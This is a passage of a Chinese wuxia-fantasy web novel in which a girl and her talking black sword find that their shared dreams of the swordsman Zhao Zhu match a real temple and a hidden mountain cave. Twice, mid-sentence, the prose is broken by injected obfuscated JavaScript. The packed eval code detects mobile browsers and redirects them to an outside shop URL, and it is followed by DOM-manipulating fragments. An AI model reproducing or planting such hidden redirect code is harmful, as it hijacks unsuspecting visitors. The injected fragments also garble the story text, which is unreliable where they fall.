赵刀刀看着周围景色,描述道:“是个寺庙,红红的,外面的墙破了,也是红的,这周围没什么人,呀,这庙前还长着两棵树呢,上次我都没注意。” 赵刀刀推门而入,绕过庙堂,惊喜道:“小刀!这里还有一棵树呐,这是什么,姻缘树吗?就是光秃秃的,只挂了十几个牌子,好少啊。” 赵刀刀伸手拨了拨木牌,木牌发出脆响,有些好听,但也落下来许多灰。 黑刀轻颤不已。 赵刀刀停下来,关心道:“小刀?你怎么了?” 黑刀嗡嗡的颤声过了好久才止,赵小刀问:“刀刀,你……以前都梦到过什么?” “我……”赵刀刀本以为自己回忆不出,但此时却渐渐想起梦中场景,“我……我好像梦到一个少年和一个小姑娘,他们当时……”赵刀刀不确定道:”我梦里那个地方很繁华,有许多灯笼,彩花,不对……那里好像也有一座庙……不,应该不是这里。” “……刀刀,这是哪座城?” “柳城。” “不是……”赵小刀又问:“刀刀,你说的那颗姻缘树上……是不是挂着十七块木牌?”他的声音有些急。 赵刀刀细数之后惊奇道:“你怎么知道?!小刀!你能看到这些?!” 她都没有举起黑刀,赵小刀是怎么知道的? 一阵狂风吹来,赵刀刀打了个喷嚏。 “不……”赵小刀道:“刮风了,刀刀,先往回走吧。” 赵刀刀出了庙关上门,“小刀,为什么……” 赵小刀沉默片刻,“这地方一开始建了座姻缘庙,但是周围住人太少,草木不兴,树长不高,后来在城外不远又建了一座大庙,僧人就都搬到新地方去了,香火就灭了,没人再来这里烧香拜佛,就成了流浪汉和乞丐的住处,不过沦落成这种地方,倒也适合打探消息,赶得巧,落脚的人里就有想找的那个。” 赵刀刀不解,“小刀,你来过这里吗?” “没有。” “那为什么……” 赵小刀沉默了更久,道:“刀刀,我也梦到过这里。” 赵小刀的声音好像从很远的地方传来:“我梦里的那个地方,叫做青城。” 此时天空微暗,风雨萧萧。 赵刀刀回头看去,那扇闭着的红色庙门在一片破败的灰色砖瓦中格外显眼,她望着那扇门,只觉得门背后不是那座破落的小庙,而是那场梦。 雨帘模糊了视线,朦胧中门上的朱漆鲜艳如血。 让她想起来梦里那些灯笼彩带,想起街上匆匆的行人,热闹的吆喝。 想起了那个青衣人和灰色的团子。 61. 旧事 “小刀,你也会做梦?!” 相比于梦里的景色居然和现实有点相似这件事,赵刀刀更惊讶她的刀居然真的会做梦。 她时常觉得赵小刀像人,可只是像人又怎么会做梦? 赵小刀虽然没有过去,却记得不少东西,来到这里之后渐渐变得像人一样疲惫嗜睡就罢了,更意想不到的是,原来他睡着了也会做梦,她的刀……难道真的要变成人啦! 赵小刀仔细回忆,认真答道:“我也不知道为什么……原来我从没做过梦,到这里之后不但开始做梦,好像还渐渐想起了点儿什么。”或许和那条奇怪的蛇有关。 “想起了什么?” 赵刀刀抱着黑刀站在屋檐下,下巴抵着刀柄。 她的衣服被淋湿了些,檐上的积水啪嗒啪嗒地掉下来砸在地上。 赵刀刀兴致盎然。 雨帘墙壁和屋檐恰好分隔出一片小小的秘密的空间,方便她和赵小刀说些悄悄话。 她心情不错,便也觉得这场雨来的很巧,看着顺眼极了。 “我……”赵小刀欲言又止。 他时常有种想起什么的感觉,可此时真正去搜寻,却发现记得的东西全是梦里的场景。 一时犹豫不知该不该说。 “怎么了?”赵刀刀的脑袋随着说话起伏,“要是没想起来也没关系啊,你原来不嗜睡,也不做梦,到这里之后才变成这样,一定是这里对你很重要吧,说不定我们来到这里就是因为这个?一时想不起来也没关系,就像这座庙一样,只要它在,我们总会找到它,只要我们一起去找,你一定能记起更多东西。” “不,刀刀。”赵小刀心里忽然有一根线穿起了他的此世和那些无厘头的梦,“我从前没告诉你,其实从一开始,自我有意识起,我就一直是一把黑刀。最开始的时候我以为自己能看见也能听到,只是因为身处黑暗所以才难以视物,直到你在剑冢里找到我,我才发现我什么都看不到。” 赵小刀轻笑一声,“虽然看不到,靠着感知气味和声音也算跟上你的脚步了。” “小刀……” 赵小刀道,“在剑冢里我等了很久,说了很多,一直没有其他刀剑回应,更不指望被人听到,遇到你之后才终于有人听见我的声音,如果你一直不来,我可能真要以为世上的刀剑本就如此。后来,如果不是你和我谈起刀谱剑法,那些东西我也不会记起。刀刀,我其实没有什么要寻找的过去,这些就是我的过去。” “小刀……”赵小刀鲜少向她袒露脆弱,赵刀刀一时不知如何回应。 认真算起来,她的过去又何尝不是遇上黑刀之后才开始才有了颜色? 赵刀刀很少去回忆更早的事,因为遇到黑刀之前的她并不快乐,此时却不由得忆起那个漆黑不见天日的剑冢。 那里空气浑浊,闷热压抑,一个人待在那里,不说一年,便是三天也要让人发疯——可赵小刀却在那里困了很久。 下雨天还是会冷的,她抱紧了黑刀,希望这样可以温暖一些。 “我的过去都是因为你才有意义的。”赵小刀道,“除此之外,要说还有什么……就是那场梦了。刀刀,庙门和树证明那些梦并非虚假,梦里发生的事和此地有关,如果你也梦到了一样的东西,这些一定预示着什么。” “梦……可我梦里没有梦到自己,那些人也都不是我啊?”赵刀刀没有想到她和小刀居然会梦到同样的事,天底下恐怕再也不会有比他们更有缘的朋友了。 “在我的梦里,我是一个人,刀刀,你呢,你都梦到过什么?” “在梦里我还是我,不过我什么也做不了,只能看着一切发生。”赵刀刀道,“我看见一个男人和一个姑娘,男人救了姑娘,带她去学武,后来……我想想……那姑娘好像下山去找他了,然后……啊,我想起来了,她找着了,只是男人受了伤,再后来,他们就……一起消失了。” 赵刀刀靠着墙壁,皱起了眉头。 随着梦中场景在脑海翻涌,她的心开始控制不住地抽痛,仿佛回到了最后一刻,亲眼看着那两人从刮着冷风的地方一跃而下。 对他们来说,那样令人战栗的下坠相比活着更容易,在空中似乎一切需要忍受的痛苦都得以解脱,只剩下释然。 她不能理解,只觉得心痛。 这种感觉真是奇怪极了,唐雪看话本落泪也是如此吗? 赵小刀听见了赵刀刀的心跳声,他问:“你知道他们的名字吗?” “男的叫赵……赵竹念?女的我不知道。” “嗯,男的叫赵竹念,或者你知道的那个名字,赵逐。女的叫赵如意。”赵小刀此刻终于完全确认,他和赵刀刀梦到的是同一个故事。 “啊?赵逐?那不是天下第一嘛,我怎么会梦到他呢?!赵如意这名字我倒从未听过……” 赵小刀道,“你听过她,只是一直不知道她的名字而已。” “嗯?” 赵小刀缓缓道,“她是峦岳派弟子,和张秋水同代,我记得你说过,周向晚跟你提起过这个人。” “对,那是白玉山的时候了,可你怎么确定那个女子就是赵如意呢,这世上同名同姓的人那么多,说不定只是恰好一个名字?” “不是同名……因为赵逐打听过她的两位师兄,那二人一个叫张秋水,另一个叫刘逋。” “……为什么?” “为什么会梦到他们?” “为什么我都梦不到他们的名字,我甚至连长相也看不清,难道小刀你比我更像人吗?我不会有一天变成刀吧?”赵刀刀惊疑未定。 赵小刀失笑,“当然不会。” “为什么?” “你是赵刀刀啊。”赵小刀道:“如果我变成人的代价是你变成刀,那我不如永远关在这黑刀里,就这样陪着你也挺有趣的。” “不……”赵刀刀不满地摇头,道:“如果我们俩只有一个能当人,那接下来就该换我当刀啦。” “你不想当天下第一了?” “我更想让你当人。”赵刀刀吸了吸鼻子,“这里这么美,我都看过了,该你看了。” 赵刀刀道:“小刀,我想让你看看。唐家堡有很多好玩的人,唐二很会讲笑话,唐雪有很多间堆满话本的屋子,牡丹城很漂亮,太白山庄的瓦像白雪一样,陆家很大,陆怀瑾和周向晚都很好,白玉山很高,柳城很美,英娘住的那个山谷也好漂亮,那里有一间漂亮的小屋,山谷里还有数不清的花……小刀,这些我都会一直记得的,所以你也要看看。” “好,我一定会看。”赵小刀轻笑了下,“不过……谁说我们只有一个能当人?” “你……” “我可没说过。” “赵小刀!” “好了,不逗你了。我们梦到的都是同样的人,同样的事,只是我比你梦到的更细致。刀刀,我觉得这些梦与你我有关。” “为什么?我不认识赵如意,也没见过赵逐。” “因为我梦到了七绝刀法。” “啊?” “七绝刀法是我告诉你的,我不知道自己为什么知道,但是梦里,赵逐也使过这套刀法。按梦里所说,他是从他师父那里取得了这本刀谱。” “可英娘说,这刀谱是魔教留下来的,当时很多人追杀他是因为他偷了刀谱。” “嗯,我只是在想,我知道这套刀法的原因或许和他有关,并且……在梦里,赵逐后来还把它教给了赵如意。” “赵如意不是在峦岳派学 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顾倾城关了门,只留着与进来方向正对的一扇门开着。她擦着手忽然道:“你知不知道你还有很多麻烦?” “我知道。”在这里久了赵刀刀都快忘了那些甩不掉的刺客杀手。她笑了笑,“我知道想杀我的人不止你一个,我也知道待在柳城没有那些麻烦,是因为你在这里。” 顾倾城没有否认,只问:“那你就打算这么走了?” “嗯。我已经在这里打扰很久了,不过……你这么想我留下,那我过两天走。”赵刀刀本打算立刻就走,但这念头在心里打了个转儿,到嘴边却成了另一个。 方英的事还没有过去太久,她再多待两日吧。 顾倾城轻哼一声,“你想好了?打算去哪?” “白玉山。” 顾倾城皱了皱眉,“去那做什么?” 赵刀刀坏笑了一下,道,“看看齐阔过的怎么样。” “……”顾倾城一时噎住。“一个人去?” “嗯。” “还来柳城吗?” “我……” 顾倾城忽然不想听到回答,打断道:“你要是回来柳城,想来顾家,就到红庙那里,在庙堂的桌子上放上这个。”她伸手递过去一个东西。 “什么?”赵刀刀接下,张开手,一枚黑色的铜钱躺在手心。 “借你的买命钱。”顾倾城道,“到时候还我。” “好。”赵刀刀握紧了铜钱。 柳城流传着一种说法,黑色铜钱能让你从阎王那里买回一命,很多人想用黄金珠宝去换也只是有市无价。 赵刀刀听到这话的时候正在饭馆等饭,当时心里还想着这种鬼话也就骗骗外乡人了,说不定再听下去,那人就要说自己知道个地方可以换这铜钱。原来是她无知了。 赵刀刀心中一揪。 她已经有很多朋友了。 她叹了口气,终于意识到,这些朋友都要一一告别,自己也不例外。 又感到一些柔情。即使她孤身一人,以后每每想到与他们相见,便也会觉得自己仍有许多归处吧。 雨水从那扇开着的门飘进来,沿着门的范围,沾湿了一小片地。 顾倾城又开始取出小碟,做她自己的事。 赵刀刀撑着脸,忽然想起周向晚在山谷里,说希望雨慢些来。 她明明习惯了一个人,怎么这时候也会希望雨下久些呢? 赵刀刀走到门边坐下,看着水花和小小的水洼,树叶沙沙,顾家总是这样安静。她心中默默演练着刀法,过了半晌才平复如麻的思绪,开始思索离开顾家之前一定要吃哪几样菜。 62. 进山 在顾家的日子开始珍贵起来。 赵刀刀和赵小刀仔细合计了梦中出现过的所有地方,柳城的破庙只在一开始出现过,他们决定再去白玉山看看那个山洞是不是真的存在,若是真的有,就证明梦中一切确有其事,那本刀谱真和他们有所瓜葛,到那时,他们便绕回佩城,一路北上去风月城探寻赵逐故地。 赵小刀梦中赵逐和他师父不动仙人大多时候都住在风月城边上的一座无名小山。 刀谱肯定早已不在,但或许是对梦中人的好奇,或许是想寻找些别的什么,赵刀刀和赵小刀都想去那个赵逐曾经待过的地方看看。 赵刀刀掰着指头算了算,武洲一共一十一城,不算水城这座外城,她已去过牡丹,佩城,柳城三座城,这次去风月城,就是第四座了,想到此处,心中有些雀跃期盼。 她乍听赵小刀提起风月城,便觉得风月无边,很是漂亮朦胧。 武洲这些城都各不相同,都在她幻想中的美丽之上,赵刀刀发现自己和这里的联系已经越来越深,梦中的景象如一把古老的钥匙,帮着她打开了那些不为人知的过去。 这些过去并非全部有她参与,却与她有着千丝万缕的关系,仿佛她早就该来到这里,只是一再错过,兜兜转转,才终于在林中等到一个机会。 从陌生到熟悉,她觉得自己已可以永远留在武洲。 不过这几日赵刀刀也发现了一丝不对劲,她发现自己的梦相比赵小刀太过模糊不清了,并且她已很久没再做梦。 或许是心情太好,世道太顺,都是一夜无梦。 也或许是顾倾城的安神香太过有效。 赵刀刀没有强迫自己一定要再做那些怪梦,只是努力回忆着之前的梦境,但随着回忆越多,她想起的细枝末节没有增加,情绪却不断随着梦中人跌宕起伏。 她有些理解赵小刀说自己是赵逐的感觉了,她仿佛也渐渐变成了赵如意,随着赵如意的心情快乐忧愁,阴晴不定,明明那不是她的情绪,她却被牵着左右。 赵刀刀本就习惯深夜练刀,如此之后,更是越练越晚。 赵小刀的嗜睡症状开始反复,他管不住她,又觉得她这样也没什么不好,碰上了总是劝两句便作罢。 这天顾倾城回来的晚,听见声音绕道来看,才发现赵刀刀天将亮还在练刀。 “我顾家亏待你了?”她的声音很冷,待着一丝不悦。 赵刀刀惊了一跳,收刀去看,喘着气道:“没有啊。” 顾倾城上下打量她,勾起一边嘴角,冷笑着问,“那你练功到天亮是谁的主意?我记得你每天还会赶着早膳时候上桌,我还真是好奇,赵刀刀赵少侠一天睡几个时辰?” “我……” “没人看着,你就是这么过日子的?” 赵刀刀哪里听不出她生气,一时面红耳赤,张了张嘴,辩解道:“我……只有今天……” 她有些不明白顾倾城为什么这么生气。 顾倾城打断道:“我不是唐雪,不会信你的鬼话。” 赵刀刀一时手足无措,她不觉得自己做错了什么,但顾倾城的担心并非多余。 她负刀身后,低着头道:“我睡不着,索性起来练刀,不误事的。” 顾倾城看着她,讥讽道:“你有什么事可误?” “……” “赵刀刀,你很厉害,喜欢练刀也没什么不对。” 赵刀刀不明白她的语气怎么突然缓和起来,懵懂着点头附和。 “但你也只是个人。” “我……” “是人就要休息,你不觉得累,不代表你真的不累。” 赵刀刀握紧了刀柄。 顾倾城忽然问了一个问题,“你知道一把绝世好刀最多的时候都待在哪里吗?” 赵刀刀思索片刻,“……手里?” “鞘中。” “……” “我不知道你是不是那把好刀。” “我也……不知道。”赵刀刀低着头,凌乱的碎发落在两边。 她本来没有什么疑惑,也很少动摇。可是这些日子,她的刀法,她的人,她的情感,和梦里那个姑娘混在一起,她有些分不清喜欢刀的那个人……到底是不是自己了。 她多想像方英一样,像梦里的赵逐一样,那么明确地坚定自己的武道,潇洒地来,又潇洒地去,可她的一切好像都不是自己的,有什么东西闷在心底,糊住了口鼻。 顾倾城叹了口气,“你想练刀没有问题,但不要因为小事乱了步调,唐雪给我寄信来问你如何,我会如实告诉她的,别叫你的朋友担心。” “好。” 顾倾城拍拍她的肩:“我要去休息了,你明天就要离开顾家,我管不了你,好自为之。” 赵刀刀觉得自己的心揪成一团,更难过了。 这一切明明都是她的选择,为什么临行前感到害怕的也是她?难道她不如自己想的那么勇敢? 眼看顾倾城要走远,赵刀刀却一拍脑袋突然想起件事,她上前拦下顾倾城问:“你知道武洲的十一座城都是哪十一座么?” 顾倾城闻言一愣,冷声道:“没有十一,你被骗了,武洲只有十座城。” “啊?” “你来武洲这么久都不知道那首歌么?” “什么歌?”赵刀刀一头雾水。 “牡丹佩柳,风月寂沙,遥望空海。”顾倾城唱了两句,语调只比说话起伏一些。 “我好像有点印象……牡丹佩柳,风月寂沙……”赵刀刀想着,好像是在牡丹城的时候听过两句,街上有人随意地唱过类似的曲调。 只是那时她并不知道他们在唱什么。 赵刀刀回忆着问:“牡丹城,佩城,柳城,风月城,剩下那些是?” 说到风月城时顾倾城看了她一眼,“你去过风月城?” “没有。” 顾倾城点头,没再问,答道,“剩下六座是寂城,沙城,遥城,望日城,空城,和海城。” “你都去过这些地方吗?”赵刀刀好奇道。 “从未。” 顾倾城垂下眸子,若不是采药,她连柳州也不能离开,这是她答应方英的事。 赵刀刀问,“那你听过它们吗?” 顾倾城缓缓道,“前两句的有所耳闻,剩下的离得太远,鲜少有人去过,到底是不是真的存在也说不准。我听说风月城很冷,沙城是一片荒漠。” 赵刀刀又问:“所以没有什么十一位高手,也没有什么赢了可以当城主的说法?” 顾倾城不解,赵刀刀就把周向晚那些说辞重复了一遍。 没想到顾倾城听完,突然破了冷面,笑得花枝乱颤。 “……你别笑了。”赵刀刀板起脸道。 顾倾城缓了缓,“我从来没听说过这回事,就是有人说,城内也不会有人信这种笑话的,你还真好骗。” “哦。” “十一位高手曾经是有,那是英雄榜上前十一位高手强出别人太多,但你说的那个,应该是外面常有武洲十一城的传言,就编排到一起讲给外来人听的。” 赵刀刀想起周向晚曾和自己说起天下第一弃城而去的事,在心中记下一笔,原来根本就没这回事。 赵逐难道只是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13518271|137808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个武功厉害点的贼而已吗? 她心中有些失落,又觉得梦里赵如意喜欢的绝不会是这样一个人,赵逐的传闻如此之多,反而让人更加好奇。 临别前,顾倾城给她塞了些伤药,赵刀刀收下了。 “等你到了佩城,记得写信。” “好。” 顾倾城没说写给谁,赵刀刀盘算着,唐雪肯定有一份,周向晚……再说,她去到佩城直接给那小子留个消息就行,顾倾城……她回头看了看顾倾城,她还是一身红衣,神色很是冷漠不屑,甚至还冲她摆摆手转身了。 赵刀刀刚准备招手又无奈地放下来,还是写信吧。 到白玉山已是五日之后。 赵刀刀记得上山的路线,但这次去要从山脚下绕一个大圈,幸亏赵小刀醒着,她不停描述,两人一起辨别,才找到梦里那条狭窄的入口。 草长得深,离地三丈高处,两面的岩石夹出一条仅供一人侧身通过的小道,黑漆漆的,没人能想到这里居然通向峦岳派后山。 石壁湿滑,不知是雨水还是山溪,不断有水从头顶上滴下来,她的头发已被浸湿成一缕一缕贴在额前,赵刀刀庆幸自己没有穿新衣服过来。 她的手在石壁上摸索,这一路只有头顶偶有微光透下来,已无法分清进来多久了,也不知道是不是已到山林深处,甚至走到最后,连一丝光也没有了。 “小刀,这地方真没问题吗?”她像是被两面石壁擒住一样难以动弹,底下已无可以踩实的土壤,风从下面吹来,赵刀刀猜测自己要是一个不稳就能掉下深渊。每一步都小心翼翼探准了才敢移动。 “就是这里没错,赵逐就是从这里出去的,你再坚持下,快了。” 赵刀刀欲哭无泪,“你这话都说了三遍了,我还碰不到底呢!我们还不如从峦岳派找个崖跳下去算了!” 赵小刀也有些无奈懊悔,“是我没想好,赵逐过那地方的时候我记得没有这么长的。” “你不会要说走错了吧!”赵刀刀现在真是进退两难,怨道:“走的又不是你!” 赵小刀连连安慰道歉,“别急,肯定马上就到出口了。” 赵刀刀一边抱怨一边摸路,只觉得这黑暗无边无际,已经将自己吞没,但也不敢真的绝了希望,心中不断乞求山神,别让她和赵小刀受此磨难。 她心中有些恐惧,要是真走错了,不会就一生困在这小小石缝里了吧……她不敢去想,只觉得平生从未受过如此奇耻大辱,没想到有一天会对石头低头。 不知过了多久。 赵刀刀闭嘴摸路前行,终于看见一点微光。 她扣紧岩石,心中巨石终于落地,不禁流下泪来。 不想给赵小刀听到,便咬着唇慢慢磨出去,泪水混着之前糊在眼睛上的泥水,已什么都看不清。 一出岩石,赵刀刀手脚一软倒在草地上,揪着草默默啜泣。 “刀刀?”赵小刀感觉到情况不对,“怎么了?” 他问了几遍,见赵刀刀都没有回答,便停下来等着。过一会又安慰道,“刀刀,不要着急。” 他不知道到底发生了什么,赵小刀此刻心中急迫绝不比赵刀刀少半点,但他只是一把刀,他的一生之中只有黑暗和远处的声音,他无法帮她。 他恨自己。他想生出手脚冲出炼狱一般的黑暗去帮她,却只无能为力地放下不安,缓着声劝她不要着急。他恨极了这样的自己。 赵刀刀躺在地上,从没觉得山风如此和煦,青草如此柔软,山林间的空气如此温暖。她趴了好一会儿才坐起来,用袖子抹着眼泪,闷声道,“小刀,我们出来了。” 63. 登高 日过午时,正是一天最热时候。 刚才的一身汗混着峭壁间的水汽,赵刀刀觉得自己已是一个水人。 她缓了很久才爬起来继续走。 赵小刀一直算着时辰,问:“饿了吗,歇会儿再走?” 赵刀刀道:“还好,等会儿我去找些果子。先往里走吧,我想看看有没有溪流山泉之类的。” 赵小刀笑了笑:“衣服脏了吧?” 赵刀刀不在意地用袖子抹了把脸,“脸也脏了。”她叹一口气,“唉,那件衣服我还没穿多久呢。” “还在为那件衣服可惜?”赵小刀问,“那么喜欢那件衣服吗?” 喜欢新衣服自然是人之常情,赵小刀理解,更何况赵刀刀原来在山上都是穿着门派发的衣服,她的练功服早已洗到泛白,看不出原来颜色,那身蓝衣是她第一次下山所买,若非喜欢,赵刀刀也不至于被劝说着为了一件衣服花完了身上所有的钱。 但那身衣服究竟有何特别,过去这么久,还值得她这样珍视? 自从到这里以来赵刀刀少说也被唐雪拉着置办了十几身新衣,怎么还对原来那件情有独钟? 赵小刀猜测道,“因为周忌?” 赵刀刀一愣,笑道,“唉,你不说我都忘了他啦。”随即否认:“不是,虽然衣服是从他那儿买的,但是跟他没关系。” “为什么?” 赵刀刀拨开眼前的杂草,边走边道:“我想着,那是我和原来的最后一点联系了吧,说不定正是我花所有的钱买了那件衣服,才有了现在的日子?看着那件衣服,我才觉得以前山上那些都是真的,不是一场梦。” 赵刀刀叹息道:“但它已经没了。”她好像也没有多少伤心。 若不是赵刀刀,赵小刀倒真希望以前都是一场梦。见她语气轻快,提起过去也不再流连伤感,他开玩笑道,“没良心,我不算联系吗?” 赵刀刀也笑着回他,“你当然不算了,不管到哪里,你都要陪着我的。” “……” “怎么啦,你不是说会一直陪着我吗,你不想当我的刀啦?你要干什么去?” “……不去做什么。”赵小刀道,“一直陪着你。” 赵刀刀嘿嘿笑了几下,继续顺着残留的印象望林中走去。 她梦中这条路赵如意走了两次。先是送赵逐过来从此处离开,然后又原路返回,回到峦岳派从大门离开。 这里杂草比梦里高出许多,但细细看去有些树干巨石还是曾经模样,走在一个从未来过却十分熟悉的地方,仿佛一步步踏入梦中,倒是别有趣味。 走了许久。 衣服上的水已尽数蒸干,只有汗水沾湿衣领,赵刀刀忽然停下。 “找到了。” 藤蔓缠绕着从高处落下,垂在她的脚边。 赵小刀道:“我记得那洞口离地有些距离,周围岩石上长满了藤蔓,对了,沿着石壁,离这里不远有一条山溪,你可以去找找,再远就是赵逐落崖的地方了。” 赵刀刀抬头去看,日暮昏黄的光映在藤蔓上,这石壁看起来仿佛也有了温度,不再冰冷,她皱了皱眉,奇怪道:“和梦里一样,一样是一样……”她走了几步,“可是这上头没有山洞啊?藤蔓下面就是岩石。”她去晃了晃藤蔓,掉下一些土块,露出下面的岩石。 “只有石壁啊,小刀。” “小刀?” “小刀?” 再问赵小刀却不答了。 赵刀刀等了会儿又呼唤几声,不闻回音,叹气喃喃道,“怎么睡得这么快?” 赵刀刀仔细看过,藤蔓爬满山谷,野草青苔随处可见,和她梦中相比,这地方似又不似,上哪里去找一个能容两人而绰绰有余的山洞? 天要黑了,赵刀刀只带了些水和一张单薄的布背在包袱里,土地潮湿,此时不能铺在地上。 她取下背着的行囊,挂在树上,到不远处摘了些果子就地吃了。 有些觉得好吃,便多摘了几个放到包袱里带回来。 她物色周围,山洞没找着,地上水汽又太重,便决定先在树上将就一夜。 赵刀刀挑了棵老树。 枝杈像是被雷劈过,从高处截断,树干粗壮,最低的那根树枝也离地很远,高高的悬着。 她借着另一棵树轻巧地翻身上去,取出被单叠成小块,将包袱挂在临近的树枝上,背靠树干坐下,解了外衫盖在被单上,抱着黑刀发呆。 这里高高的,衣摆宽大轻薄的布料垂下去轻轻飘动,赵刀刀觉得自己仿佛飘在空中。 火红的晚霞刺眼至极也瑰丽至极,映的她双瞳更红。 赵刀刀看到霞光收拢,树丛轻颤,几只鸟振翅飞走,太阳彻底落下,眼前漆黑一霎,夜幕降临。 四周比白天更静,却又渐渐冒出更多声音,虫鸣不断,动物在林间跑动拨乱了树丛,到处都是轻巧匆忙的脚步声,没有人也热闹非凡。 她心里忽然生出一个念头,赵小刀是否日夜都是如此生活? 赵刀刀刚闭上的眼睛突然睁开,是水声。 远处隐隐传来流水潺潺之声,她将头轻轻搭在刀柄上,细细分辨出方位,才继续入睡。 早上醒来。 赵刀刀扭了扭脖子,抖了抖外衫穿好,站在树枝上眺望,树叶太过茂密,看不到溪流。 她看着那片石壁,觉得有些奇怪,从这里看去好像和底下见到的不太一样……心中疑惑,她还是决定先去溪水方向看看。 从树杈间几个起落,终于看到了那条溪流。 赵刀刀从树上跃下,看着水里自己的样子,忍不住扑哧一笑。 “怎么了?” 赵刀刀单膝蹲下,将手伸进溪水里,忍不住一抖,这水真够冰凉的。“没想到脸会这么脏。” 赵小刀笑了两声,道:“原来这里有一只花猫。” “花猫?”赵刀刀摸了一把脸,哼了声道,“花猫不见了。” 两人忍不住一起大笑起来。 赵刀刀将黑刀也擦净,站起身,望着远处道,“小刀,这是那条溪。” “那山洞一定找对了地方。” “嗯,可是我昨天没看到……”赵刀刀的语气逐渐低下去,即使站在树上,她也没有看到梦中那个洞口。 “不要心急。” “嗯。” 回到原地,赵刀刀还是什么都看不到。 “不应该啊……难道只是梦?可进来的入口是真的……”赵刀刀喃喃道。 突然—— “我想起来了。” 她灵光一现,想起来早上那股奇怪的感觉。飞身上树,一路攀高,底下的枝杈还不足以看清什么,直到最高处,赵刀刀才分辨出那小小的洞口。 赵刀刀没想到这地方有这么高。 洞口的岩石像是截成两段,上面要更陡些,角度所限,不站在最高处她永远都看不到这山洞。 “找到了。” 赵刀刀借着藤蔓攀上石壁,在陡峭的石壁上一路攀登,拨开枝叶,终于登上梦中隐蔽的山洞。 “这地方太隐蔽了,赵如意是怎么找到的?”赵刀刀感慨道。 她单手吊在洞口附近突出的石块上往下看去,这里显然没有记忆中那条堆到洞口下方的土坡。 可要是没有,赵如意是怎么带赵逐进去的?如果不铺路,这洞口如此之高,赵如意哪怕会飞,也很难待着另一个失去意识的人来到这里。 石壁陡峭,难以堆积泥土,之前的短坡大概是天地造化,现在已经被风吹走,总不会是赵如意自己铺的。 赵刀刀没有过多纠结,她已经习惯了梦和现实会有区别,或者说,正是这一点区别,才让她分清了梦和现实。 撑着手臂,脚在石壁上一点,赵刀刀借力闪身进洞。 等眼睛适应了黑暗,赵刀刀心神一震。 洞中半面墙上布满了凌乱的剑痕,明明已隔多年,剑气却仍旧锋利不减。 她微微皱眉,握紧了刀。 赵刀刀从中分辨出两道剑气,奇怪的是,这两道剑气明明针锋相对,锋芒毕露,最后却收之绵柔,并无杀气。 她伸手去触摸,粗粝的岩石被剑气削出平整的裂口,“这就是赵逐吗?”她离这种境界还有多久? 赵小刀此时终于确定,梦中一切确有其事。 他激动的心忽然平静了。 “这上边的剑痕不对,我梦中赵如意他们没有在这里留很久,那时赵逐受了伤,他们也没有切磋。”赵刀刀猜测道,“他们回来过?这不是一天能刻出的印记,他们在这里待了多久?” 赵小刀此时无暇顾及什么赵逐赵如意,只是知道离奇诡异的梦可以成真这件事本身,就足以让他心底的那个声音越来越大了——他……是不是真的能变成人? 赵刀刀问:“小刀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13528848|137808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,你看到他们回来了么?” 赵小刀回过神,回想道,“他们回来过,待了不久又离开了。” “为什么走?” “他们说峦岳派并非归处。” “归处……”赵刀刀轻抚剑痕,“这里已经不算峦岳派了吧,只要他们不说出去,没人会知道世上还有这个地方,有什么不好?我觉得这里很好。” “为什么?” “这里没人打扰,清净自在,除了吃不方便,简直不能更好。” 赵小刀笑了笑,“那只是他们的故事。要是和你一起,我也愿待在这里。” “嘿……我们已经一起待着了。”赵刀刀不知自己为何脸颊发热,用双手拍了拍,“小刀,你都从哪儿学来的这些,最近怎么总说这种话?” 赵小刀沉默片刻,低声道,“因为……愧疚。” “什么愧疚?” 赵小刀终于说出多日来心中所想,“这些日子我无法把控自己何时睡去,总觉得那期间你一定说了很多话,可惜我听不到。”他话锋一转,“不过你可不能因为我愧疚于你,就亏欠我了。” “啊?我怎么会亏欠你?” 赵小刀道:“刀刀,我醒了一定会叫你,如果你在我睡间有话想说,也一定要等我醒了告诉我,不要因为自己觉得烦闷无趣,说过了就放下。你那些话,我都很想听。” “我答应你。”赵刀刀想了想,“你也要答应我,不要把这些话憋在心里,有什么话都告诉我,不要瞒着我。” “好。”赵小刀在心中道了声歉,他有很多话想说给她听,现在却不能说。 再等等就好了,刀刀,再等等他。 赵小刀有一种感觉,不会很远了。 这藏过两个大活人的山洞是难得的好地方,与世隔绝,冬暖夏凉,外面正热着,里头却幽凉。 赵刀刀放下东西,准备去看看那悬崖又是什么模样。 知道山洞就有了方向,这一路顺畅的多,甚至不多回忆,只随心走着就到了悬崖底下。 从下面望去,峭壁高耸如云,看不到头,冰冷压抑,令人生畏。 赵刀刀看着看着竟感到一阵头晕目眩,仿佛被扼住喉咙,难以呼吸,她后退两步,不得不扶着头弯下身子,调息缓和。 再抬头去望,却再度屏息,她烈日当空,她却看到一个人影从山崖高高落下! “不——” “刀刀!” “刀刀!!”赵小刀声音急切地呼唤她。 赵刀刀半晌才清醒过来,她朝四周望去,这么久过去了,哪里有人落下? 但刚才那股恐惧却心有余悸。 “小刀……”她的声音有些颤抖。她为什么在怕? “刀刀,你刚才怎么了?” 赵刀刀扶着头道,“我好像看到有人从上面跳下来了……” “没有人,刀刀,仔细听,没有人,没有人落下。” 四周只有风声。 “嗯。” 赵刀刀不想在这里多留,转身离开。 在山洞中辗转难眠。赵刀刀自问从没来过这里,也没有跳崖的习惯。 那不是她的情感,是谁在怕? 